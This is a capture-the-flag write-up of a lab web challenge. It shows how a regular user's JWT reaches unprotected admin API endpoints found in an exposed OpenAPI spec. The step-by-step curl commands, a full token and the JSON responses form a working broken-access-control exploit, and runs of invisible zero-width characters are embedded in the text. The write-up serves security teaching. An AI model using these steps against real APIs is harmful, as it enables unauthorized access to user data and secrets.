Lab 303 — DevGateway — Broken Access Control in Admin API

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-27 | Status: Solved Techniques: api_endpoint_enumeration, authorization_bypass, bola_exploitation, jwt_authentication

Summary

Task: API management platform with exposed documentation revealing admin endpoints. Solution: Authenticated as regular user, accessed admin settings endpoint due to missing role-based authorization, retrieved flag from internal API secret.

Lab 303 — DevGateway — Broken Access Control in Admin API — Hackadvisor

Description

DevGateway is an API management platform built by Gatecraft Labs where teams can create API keys, monitor usage analytics, and manage team members. The platform has a user-facing dashboard and an admin panel for managing the organization.

Your goal is to find and exploit weaknesses in the platform's authorization model to access restricted resources and retrieve the flag.

The platform exposes a full API documentation page that may reveal more than intended. Investigate the available endpoints and look for authorization gaps that could allow a regular user to access privileged functionality.

Credentials provided: user@test.com / password123 Hint: Check /api/docs for API documentation ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: Express.js API management platform with user dashboard and admin panel. Goal is to exploit authorization weaknesses to access restricted admin resources.

Analysis

Initial reconnaissance revealed an Express.js application with API documentation at /api/docs loading spec from /api/docs/spec. The HTML source contained a honeypot decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} designed to trick automated scanners.

After authenticating with provided credentials, the JWT token revealed:

• User ID: 4
• Role: "user" (not admin) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The OpenAPI specification at /api/docs/spec exposed ALL endpoints including admin-only ones:

• /api/admin/users - List all platform users
• /api/admin/users/{id} - Get user details
• /api/admin/settings - Get platform settings (description: "Returns all application configuration including internal secrets")
• /api/admin/promote - Promote user to admin
• /api/admin/audit - View audit log

The critical vulnerability: admin endpoints only verified authentication (valid JWT token) but did not verify authorization (user role === 'admin'). The OpenAPI spec showed security: [{ bearerAuth: [] }] but no role-based middleware was implemented. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Authentication

Login with provided credentials to obtain JWT token:

 bash read-only • copy allowed Copy
TARGET="https://aff734e6-f4a2-4617-b7ed-0de04d65603e.labs.hackadvisor.io"

curl -s -X POST "$TARGET/api/auth/login" \
  -H "Content-Type: application/json" \
  -d '{"email":"user@test.com","password":"password123"}'

Response:

 json read-only • copy allowed Copy
{
  "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
  "user": {
    "id": 4,
    "email": "user@test.com",
    "role": "user"
  }
}

Step 2: API Documentation Enumeration

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Retrieved full OpenAPI spec to discover admin endpoints:

 bash read-only • copy allowed Copy
curl -s "$TARGET/api/docs/spec" | jq '.paths | keys'

Step 3: Exploit Broken Access Control

Accessed admin settings endpoint with regular user JWT token:

 bash read-only • copy allowed Copy
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjQsImVtYWlsIjoidXNlckB0ZXN0LmNvbSIsImlhdCI6MTc3NzMwNTg2NiwiZXhwIjoxNzc3MzkyMjY2fQ.IIHQzZuHVZBKAq4jRf_R6btv4I8GXUIOYKICrMd1IF0"

curl -s "$TARGET/api/admin/settings" -H "Authorization: Bearer $TOKEN" | jq

Response revealed sensitive configuration including the flag: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 json read-only • copy allowed Copy
{
  "settings": {
    "internal_api_secret": {
      "value": "FLAG{REDACTED}",
      "description": "Internal API secret for service-to-service auth"
    }
  }
}

Additional Findings

• All 8 platform users exposed including admin Marcus Chen (admin@gatecraftlabs.com)
• Full audit log accessible showing all user activities
• Potential privilege escalation via /api/admin/promote endpoint
• The decoy flag in HTML was a clever anti-automation honeypot

Vulnerability Details

Type: Broken Access Control (OWASP A01:2021) / BOLA (Broken Object Level Authorization) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Root Cause: Admin API endpoints only verified authentication (valid JWT token) but did not verify authorization (user role === 'admin'). The OpenAPI spec showed security: [{ bearerAuth: [] }] but no role-based middleware was implemented.

Impact: Any authenticated user could:

• View all platform users and their details
• Access sensitive platform configuration and secrets
• View complete audit logs
• Potentially escalate privileges via /api/admin/promote ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍